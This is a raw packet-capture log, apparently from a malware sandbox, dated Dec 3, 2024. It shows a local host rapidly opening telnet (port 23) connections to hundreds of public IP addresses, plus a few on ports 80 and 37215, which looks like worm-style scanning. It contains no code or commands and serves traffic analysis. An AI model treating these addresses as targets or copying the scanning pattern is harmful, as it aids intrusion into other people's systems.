Dec 3, 2024 21:30:44.209125996 CET	23	59020	142.231.68.168	192.168.2.23
Dec 3, 2024 21:30:44.209136963 CET	23	59020	32.99.96.169	192.168.2.23
Dec 3, 2024 21:30:44.209141970 CET	23	59020	39.239.196.195	192.168.2.23
Dec 3, 2024 21:30:44.209150076 CET	23	59020	116.81.24.23	192.168.2.23
Dec 3, 2024 21:30:44.209155083 CET	23	59020	94.53.178.134	192.168.2.23
Dec 3, 2024 21:30:44.209158897 CET	23	59020	149.247.78.101	192.168.2.23
Dec 3, 2024 21:30:44.209162951 CET	23	59020	27.120.105.64	192.168.2.23
Dec 3, 2024 21:30:44.209165096 CET	59020	23	192.168.2.23	190.83.192.26
Dec 3, 2024 21:30:44.209176064 CET	59020	23	192.168.2.23	32.99.96.169
Dec 3, 2024 21:30:44.209177971 CET	59020	23	192.168.2.23	94.53.178.134
Dec 3, 2024 21:30:44.209182024 CET	59020	23	192.168.2.23	142.231.68.168
Dec 3, 2024 21:30:44.209182024 CET	59020	23	192.168.2.23	39.239.196.195
Dec 3, 2024 21:30:44.209184885 CET	59020	23	192.168.2.23	149.247.78.101
Dec 3, 2024 21:30:44.209188938 CET	59020	23	192.168.2.23	116.81.24.23
Dec 3, 2024 21:30:44.209203959 CET	59020	23	192.168.2.23	27.120.105.64
Dec 3, 2024 21:30:44.227468014 CET	80	59010	171.78.11.150	192.168.2.23
Dec 3, 2024 21:30:44.227478981 CET	80	59010	89.173.214.49	192.168.2.23
Dec 3, 2024 21:30:44.227576971 CET	59010	80	192.168.2.23	89.173.214.49
Dec 3, 2024 21:30:44.227734089 CET	59010	80	192.168.2.23	171.78.11.150
Dec 3, 2024 21:30:44.231448889 CET	37215	59009	197.157.44.86	192.168.2.23
Dec 3, 2024 21:30:44.231550932 CET	59009	37215	192.168.2.23	197.157.44.86
Dec 3, 2024 21:30:45.087351084 CET	59020	23	192.168.2.23	117.22.254.102
Dec 3, 2024 21:30:45.087352037 CET	59020	23	192.168.2.23	125.85.89.124
Dec 3, 2024 21:30:45.087352037 CET	59020	23	192.168.2.23	135.47.64.52
Dec 3, 2024 21:30:45.087352037 CET	59020	23	192.168.2.23	123.202.252.202
Dec 3, 2024 21:30:45.087352037 CET	59020	23	192.168.2.23	146.144.148.51
Dec 3, 2024 21:30:45.087352037 CET	59020	23	192.168.2.23	135.171.155.42
Dec 3, 2024 21:30:45.087358952 CET	59020	23	192.168.2.23	106.149.153.131
Dec 3, 2024 21:30:45.087358952 CET	59020	23	192.168.2.23	151.177.113.149
Dec 3, 2024 21:30:45.087361097 CET	59020	23	192.168.2.23	20.91.56.183
Dec 3, 2024 21:30:45.087358952 CET	59020	23	192.168.2.23	182.169.144.217
Dec 3, 2024 21:30:45.087366104 CET	59020	23	192.168.2.23	157.28.211.113
Dec 3, 2024 21:30:45.087359905 CET	59020	23	192.168.2.23	57.248.133.100
Dec 3, 2024 21:30:45.087358952 CET	59020	23	192.168.2.23	101.26.86.182
Dec 3, 2024 21:30:45.087366104 CET	59020	23	192.168.2.23	177.22.117.95
Dec 3, 2024 21:30:45.087363958 CET	59020	23	192.168.2.23	24.102.155.93
Dec 3, 2024 21:30:45.087361097 CET	59020	23	192.168.2.23	137.28.97.110
Dec 3, 2024 21:30:45.087368965 CET	59020	23	192.168.2.23	187.199.4.132
Dec 3, 2024 21:30:45.087361097 CET	59020	23	192.168.2.23	91.104.170.187
Dec 3, 2024 21:30:45.087363958 CET	59020	23	192.168.2.23	168.168.34.37
Dec 3, 2024 21:30:45.087366104 CET	59020	23	192.168.2.23	206.191.117.246
Dec 3, 2024 21:30:45.087368965 CET	59020	23	192.168.2.23	43.2.232.97
Dec 3, 2024 21:30:45.087359905 CET	59020	23	192.168.2.23	50.163.33.191
Dec 3, 2024 21:30:45.087363958 CET	59020	23	192.168.2.23	134.121.71.43
Dec 3, 2024 21:30:45.087359905 CET	59020	23	192.168.2.23	51.25.109.80
Dec 3, 2024 21:30:45.087368965 CET	59020	23	192.168.2.23	27.104.204.122
Dec 3, 2024 21:30:45.087363958 CET	59020	23	192.168.2.23	158.107.98.95
Dec 3, 2024 21:30:45.087359905 CET	59020	23	192.168.2.23	112.88.28.12
Dec 3, 2024 21:30:45.087366104 CET	59020	23	192.168.2.23	108.226.186.89
Dec 3, 2024 21:30:45.087363958 CET	59020	23	192.168.2.23	73.250.102.150
Dec 3, 2024 21:30:45.087404013 CET	59020	23	192.168.2.23	70.220.90.220
Dec 3, 2024 21:30:45.087404013 CET	59020	23	192.168.2.23	36.70.141.223
Dec 3, 2024 21:30:45.087424040 CET	59020	23	192.168.2.23	69.194.74.2
Dec 3, 2024 21:30:45.087424040 CET	59020	23	192.168.2.23	129.144.12.149
Dec 3, 2024 21:30:45.087424040 CET	59020	23	192.168.2.23	200.35.24.164
Dec 3, 2024 21:30:45.087424040 CET	59020	23	192.168.2.23	213.215.217.157
Dec 3, 2024 21:30:45.087424994 CET	59020	23	192.168.2.23	157.91.73.108
Dec 3, 2024 21:30:45.087424040 CET	59020	23	192.168.2.23	145.254.119.163
Dec 3, 2024 21:30:45.087424040 CET	59020	23	192.168.2.23	43.224.84.185
Dec 3, 2024 21:30:45.087424040 CET	59020	23	192.168.2.23	20.42.23.168
Dec 3, 2024 21:30:45.087424040 CET	59020	23	192.168.2.23	169.56.63.130
Dec 3, 2024 21:30:45.087436914 CET	59020	23	192.168.2.23	38.56.71.7
Dec 3, 2024 21:30:45.087436914 CET	59020	23	192.168.2.23	48.114.75.232
Dec 3, 2024 21:30:45.087436914 CET	59020	23	192.168.2.23	9.14.157.163
Dec 3, 2024 21:30:45.087436914 CET	59020	23	192.168.2.23	76.123.58.41
Dec 3, 2024 21:30:45.087436914 CET	59020	23	192.168.2.23	31.121.128.130
Dec 3, 2024 21:30:45.087434053 CET	59020	23	192.168.2.23	5.69.216.44
Dec 3, 2024 21:30:45.087434053 CET	59020	23	192.168.2.23	111.211.124.180
Dec 3, 2024 21:30:45.087434053 CET	59020	23	192.168.2.23	9.138.121.123
Dec 3, 2024 21:30:45.087439060 CET	59020	23	192.168.2.23	158.79.17.107
Dec 3, 2024 21:30:45.087434053 CET	59020	23	192.168.2.23	19.88.161.254
Dec 3, 2024 21:30:45.087434053 CET	59020	23	192.168.2.23	176.163.60.135
Dec 3, 2024 21:30:45.087434053 CET	59020	23	192.168.2.23	86.218.215.214
Dec 3, 2024 21:30:45.087441921 CET	59020	23	192.168.2.23	77.29.122.75
Dec 3, 2024 21:30:45.087441921 CET	59020	23	192.168.2.23	149.173.70.156
Dec 3, 2024 21:30:45.087441921 CET	59020	23	192.168.2.23	210.49.129.161
Dec 3, 2024 21:30:45.087441921 CET	59020	23	192.168.2.23	114.124.171.89
Dec 3, 2024 21:30:45.087441921 CET	59020	23	192.168.2.23	179.238.128.157
Dec 3, 2024 21:30:45.087441921 CET	59020	23	192.168.2.23	155.138.102.183
Dec 3, 2024 21:30:45.087441921 CET	59020	23	192.168.2.23	59.1.73.169
Dec 3, 2024 21:30:45.087441921 CET	59020	23	192.168.2.23	73.10.253.72
Dec 3, 2024 21:30:45.087447882 CET	59020	23	192.168.2.23	143.113.147.115
Dec 3, 2024 21:30:45.087447882 CET	59020	23	192.168.2.23	207.82.105.59
Dec 3, 2024 21:30:45.087447882 CET	59020	23	192.168.2.23	63.165.236.148
Dec 3, 2024 21:30:45.087447882 CET	59020	23	192.168.2.23	37.171.92.163
Dec 3, 2024 21:30:45.087447882 CET	59020	23	192.168.2.23	89.253.239.115
Dec 3, 2024 21:30:45.087447882 CET	59020	23	192.168.2.23	179.241.150.144
Dec 3, 2024 21:30:45.087447882 CET	59020	23	192.168.2.23	223.237.12.51
Dec 3, 2024 21:30:45.087447882 CET	59020	23	192.168.2.23	156.2.1.50
Dec 3, 2024 21:30:45.087466002 CET	59020	23	192.168.2.23	9.34.218.69
Dec 3, 2024 21:30:45.087466955 CET	59020	23	192.168.2.23	193.120.78.102
Dec 3, 2024 21:30:45.087467909 CET	59020	23	192.168.2.23	32.101.9.186
Dec 3, 2024 21:30:45.087467909 CET	59020	23	192.168.2.23	68.126.63.243
Dec 3, 2024 21:30:45.087467909 CET	59020	23	192.168.2.23	177.97.75.107
Dec 3, 2024 21:30:45.087467909 CET	59020	23	192.168.2.23	134.56.233.112
Dec 3, 2024 21:30:45.087467909 CET	59020	23	192.168.2.23	162.198.254.149
Dec 3, 2024 21:30:45.087467909 CET	59020	23	192.168.2.23	186.169.185.230
Dec 3, 2024 21:30:45.087467909 CET	59020	23	192.168.2.23	178.150.12.75
Dec 3, 2024 21:30:45.087467909 CET	59020	23	192.168.2.23	19.103.252.167
Dec 3, 2024 21:30:45.087493896 CET	59020	23	192.168.2.23	144.88.201.14
Dec 3, 2024 21:30:45.087497950 CET	59020	23	192.168.2.23	4.182.133.203
Dec 3, 2024 21:30:45.087497950 CET	59020	23	192.168.2.23	9.65.142.118
Dec 3, 2024 21:30:45.087497950 CET	59020	23	192.168.2.23	85.118.115.141
Dec 3, 2024 21:30:45.087505102 CET	59020	23	192.168.2.23	196.10.202.163
Dec 3, 2024 21:30:45.087505102 CET	59020	23	192.168.2.23	42.5.95.37
Dec 3, 2024 21:30:45.087505102 CET	59020	23	192.168.2.23	182.255.233.38
Dec 3, 2024 21:30:45.087533951 CET	59020	23	192.168.2.23	211.36.41.79
Dec 3, 2024 21:30:45.087533951 CET	59020	23	192.168.2.23	17.190.91.183
Dec 3, 2024 21:30:45.087533951 CET	59020	23	192.168.2.23	46.119.97.108
Dec 3, 2024 21:30:45.087533951 CET	59020	23	192.168.2.23	180.171.175.255
Dec 3, 2024 21:30:45.087533951 CET	59020	23	192.168.2.23	105.174.74.128
Dec 3, 2024 21:30:45.087533951 CET	59020	23	192.168.2.23	1.231.62.67
Dec 3, 2024 21:30:45.087533951 CET	59020	23	192.168.2.23	32.99.249.242
Dec 3, 2024 21:30:45.087533951 CET	59020	23	192.168.2.23	126.196.224.227
Dec 3, 2024 21:30:45.087536097 CET	59020	23	192.168.2.23	171.9.16.217
Dec 3, 2024 21:30:45.087533951 CET	59020	23	192.168.2.23	77.16.233.169
Dec 3, 2024 21:30:45.087536097 CET	59020	23	192.168.2.23	152.95.51.72
Dec 3, 2024 21:30:45.087536097 CET	59020	23	192.168.2.23	191.101.248.236
Dec 3, 2024 21:30:45.087533951 CET	59020	23	192.168.2.23	20.130.184.234
Dec 3, 2024 21:30:45.087533951 CET	59020	23	192.168.2.23	57.138.6.213
Dec 3, 2024 21:30:45.087533951 CET	59020	23	192.168.2.23	182.17.228.250
Dec 3, 2024 21:30:45.087548018 CET	59020	23	192.168.2.23	90.229.4.211
Dec 3, 2024 21:30:45.087548018 CET	59020	23	192.168.2.23	94.206.23.60
Dec 3, 2024 21:30:45.087548018 CET	59020	23	192.168.2.23	85.59.25.79
Dec 3, 2024 21:30:45.087548018 CET	59020	23	192.168.2.23	199.81.118.17
Dec 3, 2024 21:30:45.087548018 CET	59020	23	192.168.2.23	157.48.50.189
Dec 3, 2024 21:30:45.087553978 CET	59020	23	192.168.2.23	139.125.29.230
Dec 3, 2024 21:30:45.087558985 CET	59020	23	192.168.2.23	82.115.104.101
Dec 3, 2024 21:30:45.087559938 CET	59020	23	192.168.2.23	211.64.194.14
Dec 3, 2024 21:30:45.087559938 CET	59020	23	192.168.2.23	219.44.47.44
Dec 3, 2024 21:30:45.087567091 CET	59020	23	192.168.2.23	49.134.37.19
Dec 3, 2024 21:30:45.087589979 CET	59020	23	192.168.2.23	110.189.56.189
Dec 3, 2024 21:30:45.087591887 CET	59020	23	192.168.2.23	19.138.18.192
Dec 3, 2024 21:30:45.087591887 CET	59020	23	192.168.2.23	137.168.190.43
Dec 3, 2024 21:30:45.087591887 CET	59020	23	192.168.2.23	84.238.177.224
Dec 3, 2024 21:30:45.087593079 CET	59020	23	192.168.2.23	37.100.13.154
Dec 3, 2024 21:30:45.087593079 CET	59020	23	192.168.2.23	101.52.214.102
Dec 3, 2024 21:30:45.087593079 CET	59020	23	192.168.2.23	120.178.192.21
Dec 3, 2024 21:30:45.087594986 CET	59020	23	192.168.2.23	5.61.109.35
Dec 3, 2024 21:30:45.087594986 CET	59020	23	192.168.2.23	101.233.39.134
Dec 3, 2024 21:30:45.087594986 CET	59020	23	192.168.2.23	192.176.6.143
Dec 3, 2024 21:30:45.087596893 CET	59020	23	192.168.2.23	205.41.80.61
Dec 3, 2024 21:30:45.087596893 CET	59020	23	192.168.2.23	221.115.72.59
Dec 3, 2024 21:30:45.087609053 CET	59020	23	192.168.2.23	108.0.48.146
Dec 3, 2024 21:30:45.087609053 CET	59020	23	192.168.2.23	54.93.155.108
Dec 3, 2024 21:30:45.087609053 CET	59020	23	192.168.2.23	35.154.111.254
Dec 3, 2024 21:30:45.087610006 CET	59020	23	192.168.2.23	143.225.136.160
Dec 3, 2024 21:30:45.087610006 CET	59020	23	192.168.2.23	19.255.45.7
Dec 3, 2024 21:30:45.087613106 CET	59020	23	192.168.2.23	190.239.50.90
Dec 3, 2024 21:30:45.087613106 CET	59020	23	192.168.2.23	216.103.215.205
Dec 3, 2024 21:30:45.087613106 CET	59020	23	192.168.2.23	161.165.72.83
Dec 3, 2024 21:30:45.087613106 CET	59020	23	192.168.2.23	65.108.219.136
Dec 3, 2024 21:30:45.087615013 CET	59020	23	192.168.2.23	13.41.166.66
Dec 3, 2024 21:30:45.087615967 CET	59020	23	192.168.2.23	198.243.91.115
Dec 3, 2024 21:30:45.087615967 CET	59020	23	192.168.2.23	220.58.82.171
Dec 3, 2024 21:30:45.087616920 CET	59020	23	192.168.2.23	199.82.44.114
Dec 3, 2024 21:30:45.087616920 CET	59020	23	192.168.2.23	210.57.152.187
Dec 3, 2024 21:30:45.087616920 CET	59020	23	192.168.2.23	12.138.0.39
Dec 3, 2024 21:30:45.087616920 CET	59020	23	192.168.2.23	206.205.216.164
Dec 3, 2024 21:30:45.087620974 CET	59020	23	192.168.2.23	75.97.211.241
Dec 3, 2024 21:30:45.087616920 CET	59020	23	192.168.2.23	97.167.161.247
Dec 3, 2024 21:30:45.087622881 CET	59020	23	192.168.2.23	129.248.39.232
Dec 3, 2024 21:30:45.087616920 CET	59020	23	192.168.2.23	42.32.184.251
Dec 3, 2024 21:30:45.087620974 CET	59020	23	192.168.2.23	91.204.149.102
Dec 3, 2024 21:30:45.087618113 CET	59020	23	192.168.2.23	141.28.14.9
Dec 3, 2024 21:30:45.087620974 CET	59020	23	192.168.2.23	51.78.133.18
Dec 3, 2024 21:30:45.087620020 CET	59020	23	192.168.2.23	77.50.78.236
Dec 3, 2024 21:30:45.087618113 CET	59020	23	192.168.2.23	114.224.45.186
Dec 3, 2024 21:30:45.087620020 CET	59020	23	192.168.2.23	18.248.126.227
Dec 3, 2024 21:30:45.087618113 CET	59020	23	192.168.2.23	179.207.26.244
Dec 3, 2024 21:30:45.087630987 CET	59020	23	192.168.2.23	164.64.151.105
Dec 3, 2024 21:30:45.087620020 CET	59020	23	192.168.2.23	212.94.238.31
Dec 3, 2024 21:30:45.087635994 CET	59020	23	192.168.2.23	46.36.87.82
Dec 3, 2024 21:30:45.087635994 CET	59020	23	192.168.2.23	31.135.34.162
Dec 3, 2024 21:30:45.087635994 CET	59020	23	192.168.2.23	177.85.127.213
Dec 3, 2024 21:30:45.087635994 CET	59020	23	192.168.2.23	136.162.47.126
Dec 3, 2024 21:30:45.087640047 CET	59020	23	192.168.2.23	84.17.203.144
Dec 3, 2024 21:30:45.087658882 CET	59020	23	192.168.2.23	31.132.194.184
Dec 3, 2024 21:30:45.087658882 CET	59020	23	192.168.2.23	205.183.44.194
Dec 3, 2024 21:30:45.087660074 CET	59020	23	192.168.2.23	101.46.37.67
Dec 3, 2024 21:30:45.087676048 CET	59020	23	192.168.2.23	217.97.208.193
Dec 3, 2024 21:30:45.087676048 CET	59020	23	192.168.2.23	122.86.219.25
Dec 3, 2024 21:30:45.087676048 CET	59020	23	192.168.2.23	145.238.71.145
Dec 3, 2024 21:30:45.087713003 CET	59020	23	192.168.2.23	115.246.252.61
Dec 3, 2024 21:30:45.087713003 CET	59020	23	192.168.2.23	154.84.6.229
Dec 3, 2024 21:30:45.087716103 CET	59020	23	192.168.2.23	180.54.169.156
Dec 3, 2024 21:30:45.087717056 CET	59020	23	192.168.2.23	80.121.227.161
Dec 3, 2024 21:30:45.087719917 CET	59020	23	192.168.2.23	220.213.215.216
Dec 3, 2024 21:30:45.087721109 CET	59020	23	192.168.2.23	44.197.198.207
Dec 3, 2024 21:30:45.087721109 CET	59020	23	192.168.2.23	66.9.73.77
Dec 3, 2024 21:30:45.087735891 CET	59020	23	192.168.2.23	36.140.163.172
Dec 3, 2024 21:30:45.087735891 CET	59020	23	192.168.2.23	207.157.108.48
Dec 3, 2024 21:30:45.087743998 CET	59020	23	192.168.2.23	45.45.48.123
Dec 3, 2024 21:30:45.087749004 CET	59020	23	192.168.2.23	87.108.228.78
Dec 3, 2024 21:30:45.087754011 CET	59020	23	192.168.2.23	163.99.243.231
Dec 3, 2024 21:30:45.087764978 CET	59020	23	192.168.2.23	138.237.115.83
Dec 3, 2024 21:30:45.087801933 CET	59020	23	192.168.2.23	85.159.191.20
Dec 3, 2024 21:30:45.087810040 CET	59020	23	192.168.2.23	147.154.32.208
Dec 3, 2024 21:30:45.087814093 CET	59020	23	192.168.2.23	53.209.56.28
Dec 3, 2024 21:30:45.087822914 CET	59020	23	192.168.2.23	163.219.64.147
Dec 3, 2024 21:30:45.087824106 CET	59020	23	192.168.2.23	104.20.13.58
Dec 3, 2024 21:30:45.087824106 CET	59020	23	192.168.2.23	79.209.83.181
Dec 3, 2024 21:30:45.087824106 CET	59020	23	192.168.2.23	43.190.151.53
Dec 3, 2024 21:30:45.087824106 CET	59020	23	192.168.2.23	13.175.189.184
Dec 3, 2024 21:30:45.087822914 CET	59020	23	192.168.2.23	20.229.41.191
Dec 3, 2024 21:30:45.087824106 CET	59020	23	192.168.2.23	38.174.148.38
Dec 3, 2024 21:30:45.087822914 CET	59020	23	192.168.2.23	45.38.139.190
Dec 3, 2024 21:30:45.087831020 CET	59020	23	192.168.2.23	66.91.241.102
Dec 3, 2024 21:30:45.087822914 CET	59020	23	192.168.2.23	118.141.165.49
Dec 3, 2024 21:30:45.087831020 CET	59020	23	192.168.2.23	71.164.225.33
Dec 3, 2024 21:30:45.087831020 CET	59020	23	192.168.2.23	68.245.83.130
Dec 3, 2024 21:30:45.087831020 CET	59020	23	192.168.2.23	216.152.253.129
Dec 3, 2024 21:30:45.087833881 CET	59020	23	192.168.2.23	201.14.149.85
Dec 3, 2024 21:30:45.087841034 CET	59020	23	192.168.2.23	81.35.144.200
Dec 3, 2024 21:30:45.087852955 CET	59020	23	192.168.2.23	92.151.195.7
Dec 3, 2024 21:30:45.087855101 CET	59020	23	192.168.2.23	34.227.108.64
Dec 3, 2024 21:30:45.087863922 CET	59020	23	192.168.2.23	115.249.170.74
Dec 3, 2024 21:30:45.087867022 CET	59020	23	192.168.2.23	47.248.179.65
Dec 3, 2024 21:30:45.087913990 CET	59020	23	192.168.2.23	141.109.157.100
Dec 3, 2024 21:30:45.087914944 CET	59020	23	192.168.2.23	104.11.243.153
Dec 3, 2024 21:30:45.087914944 CET	59020	23	192.168.2.23	77.149.180.221
Dec 3, 2024 21:30:45.087917089 CET	59020	23	192.168.2.23	98.31.9.242
Dec 3, 2024 21:30:45.087955952 CET	59020	23	192.168.2.23	20.243.185.165
Dec 3, 2024 21:30:45.087966919 CET	59020	23	192.168.2.23	152.63.128.11
Dec 3, 2024 21:30:45.087970018 CET	59020	23	192.168.2.23	48.57.126.58
Dec 3, 2024 21:30:45.087968111 CET	59020	23	192.168.2.23	63.111.131.39
Dec 3, 2024 21:30:45.087976933 CET	59020	23	192.168.2.23	164.97.155.235
Dec 3, 2024 21:30:45.087986946 CET	59020	23	192.168.2.23	196.24.152.178
Dec 3, 2024 21:30:45.087970018 CET	59020	23	192.168.2.23	173.19.149.13
Dec 3, 2024 21:30:45.087976933 CET	59020	23	192.168.2.23	151.86.208.124
Dec 3, 2024 21:30:45.087976933 CET	59020	23	192.168.2.23	20.6.102.12
Dec 3, 2024 21:30:45.087996960 CET	59020	23	192.168.2.23	213.204.230.115
Dec 3, 2024 21:30:45.087997913 CET	59020	23	192.168.2.23	163.115.165.119
Dec 3, 2024 21:30:45.087999105 CET	59020	23	192.168.2.23	114.130.204.124
Dec 3, 2024 21:30:45.087997913 CET	59020	23	192.168.2.23	25.27.68.224
Dec 3, 2024 21:30:45.088005066 CET	59020	23	192.168.2.23	134.149.244.211
Dec 3, 2024 21:30:45.088005066 CET	59020	23	192.168.2.23	219.165.34.24
Dec 3, 2024 21:30:45.088005066 CET	59020	23	192.168.2.23	201.251.41.9
Dec 3, 2024 21:30:45.088005066 CET	59020	23	192.168.2.23	198.31.212.3
Dec 3, 2024 21:30:45.088015079 CET	59020	23	192.168.2.23	101.229.222.49
Dec 3, 2024 21:30:45.088031054 CET	59020	23	192.168.2.23	92.33.219.139
Dec 3, 2024 21:30:45.088032007 CET	59020	23	192.168.2.23	143.73.58.162
Dec 3, 2024 21:30:45.088037968 CET	59020	23	192.168.2.23	41.94.221.184
Dec 3, 2024 21:30:45.088042021 CET	59020	23	192.168.2.23	64.180.117.62
Dec 3, 2024 21:30:45.088044882 CET	59020	23	192.168.2.23	115.17.241.105
Dec 3, 2024 21:30:45.088049889 CET	59020	23	192.168.2.23	223.244.162.217
Dec 3, 2024 21:30:45.088062048 CET	59020	23	192.168.2.23	153.249.202.89
Dec 3, 2024 21:30:45.088077068 CET	59020	23	192.168.2.23	175.233.144.8
Dec 3, 2024 21:30:45.088078022 CET	59020	23	192.168.2.23	118.77.106.58
Dec 3, 2024 21:30:45.088078976 CET	59020	23	192.168.2.23	84.45.124.235
Dec 3, 2024 21:30:45.088078022 CET	59020	23	192.168.2.23	147.46.140.230
Dec 3, 2024 21:30:45.088079929 CET	59020	23	192.168.2.23	209.243.254.213
Dec 3, 2024 21:30:45.088080883 CET	59020	23	192.168.2.23	203.14.117.117
Dec 3, 2024 21:30:45.088108063 CET	59020	23	192.168.2.23	90.48.32.238
Dec 3, 2024 21:30:45.088145018 CET	59020	23	192.168.2.23	168.191.72.243
Dec 3, 2024 21:30:45.088151932 CET	59020	23	192.168.2.23	9.110.45.236
Dec 3, 2024 21:30:45.088151932 CET	59020	23	192.168.2.23	60.11.11.19
Dec 3, 2024 21:30:45.088159084 CET	59020	23	192.168.2.23	223.249.82.142
Dec 3, 2024 21:30:45.088159084 CET	59020	23	192.168.2.23	181.114.66.219
Dec 3, 2024 21:30:45.088159084 CET	59020	23	192.168.2.23	209.48.249.251
Dec 3, 2024 21:30:45.088160038 CET	59020	23	192.168.2.23	156.12.12.75
Dec 3, 2024 21:30:45.088160992 CET	59020	23	192.168.2.23	144.235.160.60
Dec 3, 2024 21:30:45.088161945 CET	59020	23	192.168.2.23	174.69.103.2
Dec 3, 2024 21:30:45.088161945 CET	59020	23	192.168.2.23	83.114.4.201
Dec 3, 2024 21:30:45.088161945 CET	59020	23	192.168.2.23	54.233.219.135
Dec 3, 2024 21:30:45.088161945 CET	59020	23	192.168.2.23	155.93.135.149
Dec 3, 2024 21:30:45.088161945 CET	59020	23	192.168.2.23	110.23.171.174
Dec 3, 2024 21:30:45.088161945 CET	59020	23	192.168.2.23	97.48.200.180
Dec 3, 2024 21:30:45.088161945 CET	59020	23	192.168.2.23	160.83.1.62
Dec 3, 2024 21:30:45.088161945 CET	59020	23	192.168.2.23	206.43.97.205
Dec 3, 2024 21:30:45.088162899 CET	59020	23	192.168.2.23	218.62.2.118
Dec 3, 2024 21:30:45.088162899 CET	59020	23	192.168.2.23	211.60.119.111
Dec 3, 2024 21:30:45.088162899 CET	59020	23	192.168.2.23	175.180.149.252
Dec 3, 2024 21:30:45.088162899 CET	59020	23	192.168.2.23	175.252.253.203
Dec 3, 2024 21:30:45.088188887 CET	59020	23	192.168.2.23	57.157.139.115
Dec 3, 2024 21:30:45.088210106 CET	59020	23	192.168.2.23	167.104.91.20
Dec 3, 2024 21:30:45.088210106 CET	59020	23	192.168.2.23	163.247.240.122
Dec 3, 2024 21:30:45.088212013 CET	59020	23	192.168.2.23	2.128.52.48
Dec 3, 2024 21:30:45.088212013 CET	59020	23	192.168.2.23	92.170.48.197
Dec 3, 2024 21:30:45.088212013 CET	59020	23	192.168.2.23	157.17.49.18
Dec 3, 2024 21:30:45.088212967 CET	59020	23	192.168.2.23	149.76.195.163
Dec 3, 2024 21:30:45.088212967 CET	59020	23	192.168.2.23	179.96.248.81
Dec 3, 2024 21:30:45.088218927 CET	59020	23	192.168.2.23	182.234.139.34
Dec 3, 2024 21:30:45.088224888 CET	59020	23	192.168.2.23	138.157.180.64
Dec 3, 2024 21:30:45.088224888 CET	59020	23	192.168.2.23	75.15.19.140
Dec 3, 2024 21:30:45.088227034 CET	59020	23	192.168.2.23	136.101.14.82
Dec 3, 2024 21:30:45.088227034 CET	59020	23	192.168.2.23	74.110.185.27
Dec 3, 2024 21:30:45.088227034 CET	59020	23	192.168.2.23	63.223.243.20
Dec 3, 2024 21:30:45.088227034 CET	59020	23	192.168.2.23	24.150.116.131
Dec 3, 2024 21:30:45.088227987 CET	59020	23	192.168.2.23	75.178.65.171
Dec 3, 2024 21:30:45.088228941 CET	59020	23	192.168.2.23	88.84.186.224
Dec 3, 2024 21:30:45.088269949 CET	59020	23	192.168.2.23	137.86.8.237
Dec 3, 2024 21:30:45.088269949 CET	59020	23	192.168.2.23	60.56.191.8
Dec 3, 2024 21:30:45.088269949 CET	59020	23	192.168.2.23	201.145.65.97
Dec 3, 2024 21:30:45.088270903 CET	59020	23	192.168.2.23	168.2.140.169
Dec 3, 2024 21:30:45.088272095 CET	59020	23	192.168.2.23	181.6.168.91
Dec 3, 2024 21:30:45.088299990 CET	59020	23	192.168.2.23	147.13.62.224
Dec 3, 2024 21:30:45.088299990 CET	59020	23	192.168.2.23	46.224.166.132
Dec 3, 2024 21:30:45.088300943 CET	59020	23	192.168.2.23	2.99.171.110
Dec 3, 2024 21:30:45.088304043 CET	59020	23	192.168.2.23	181.115.204.198
Dec 3, 2024 21:30:45.088304043 CET	59020	23	192.168.2.23	120.188.85.77
Dec 3, 2024 21:30:45.088304043 CET	59020	23	192.168.2.23	115.136.157.82
Dec 3, 2024 21:30:45.088306904 CET	59020	23	192.168.2.23	48.5.25.104
Dec 3, 2024 21:30:45.088308096 CET	59020	23	192.168.2.23	153.225.103.40
Dec 3, 2024 21:30:45.088308096 CET	59020	23	192.168.2.23	120.56.160.196
Dec 3, 2024 21:30:45.088308096 CET	59020	23	192.168.2.23	38.186.55.69
Dec 3, 2024 21:30:45.088309050 CET	59020	23	192.168.2.23	73.73.136.62
Dec 3, 2024 21:30:45.088309050 CET	59020	23	192.168.2.23	69.221.87.162
Dec 3, 2024 21:30:45.088309050 CET	59020	23	192.168.2.23	91.43.193.90
Dec 3, 2024 21:30:45.088310003 CET	59020	23	192.168.2.23	164.48.44.204
Dec 3, 2024 21:30:45.088310003 CET	59020	23	192.168.2.23	46.242.78.67
Dec 3, 2024 21:30:45.088316917 CET	59020	23	192.168.2.23	41.109.204.64
Dec 3, 2024 21:30:45.088372946 CET	59020	23	192.168.2.23	91.83.124.205
Dec 3, 2024 21:30:45.088373899 CET	59020	23	192.168.2.23	68.28.65.102
Dec 3, 2024 21:30:45.088373899 CET	59020	23	192.168.2.23	179.229.79.120
Dec 3, 2024 21:30:45.088391066 CET	59020	23	192.168.2.23	51.162.77.152
Dec 3, 2024 21:30:45.088396072 CET	59020	23	192.168.2.23	107.41.161.210
Dec 3, 2024 21:30:45.088398933 CET	59020	23	192.168.2.23	161.105.136.143
Dec 3, 2024 21:30:45.088409901 CET	59020	23	192.168.2.23	69.71.50.204
Dec 3, 2024 21:30:45.088409901 CET	59020	23	192.168.2.23	13.140.140.123
Dec 3, 2024 21:30:45.088409901 CET	59020	23	192.168.2.23	171.239.102.203
Dec 3, 2024 21:30:45.088409901 CET	59020	23	192.168.2.23	167.186.38.101
Dec 3, 2024 21:30:45.088409901 CET	59020	23	192.168.2.23	213.17.248.134
Dec 3, 2024 21:30:45.088409901 CET	59020	23	192.168.2.23	70.236.188.41
Dec 3, 2024 21:30:45.088409901 CET	59020	23	192.168.2.23	84.194.1.124
Dec 3, 2024 21:30:45.088411093 CET	59020	23	192.168.2.23	18.144.76.207
Dec 3, 2024 21:30:45.088411093 CET	59020	23	192.168.2.23	198.199.222.8
Dec 3, 2024 21:30:45.088411093 CET	59020	23	192.168.2.23	44.210.179.98
Dec 3, 2024 21:30:45.088411093 CET	59020	23	192.168.2.23	25.135.52.218
Dec 3, 2024 21:30:45.088411093 CET	59020	23	192.168.2.23	159.73.180.201
Dec 3, 2024 21:30:45.088411093 CET	59020	23	192.168.2.23	175.104.125.89
Dec 3, 2024 21:30:45.088417053 CET	59020	23	192.168.2.23	149.221.116.86
Dec 3, 2024 21:30:45.088417053 CET	59020	23	192.168.2.23	124.148.170.141
Dec 3, 2024 21:30:45.088417053 CET	59020	23	192.168.2.23	112.83.199.110
Dec 3, 2024 21:30:45.088417053 CET	59020	23	192.168.2.23	130.174.207.176
Dec 3, 2024 21:30:45.088418007 CET	59020	23	192.168.2.23	183.168.177.43
Dec 3, 2024 21:30:45.088418007 CET	59020	23	192.168.2.23	73.168.233.75
Dec 3, 2024 21:30:45.088418007 CET	59020	23	192.168.2.23	165.70.166.91
Dec 3, 2024 21:30:45.088423014 CET	59020	23	192.168.2.23	66.168.207.200
Dec 3, 2024 21:30:45.088460922 CET	59020	23	192.168.2.23	167.15.69.183
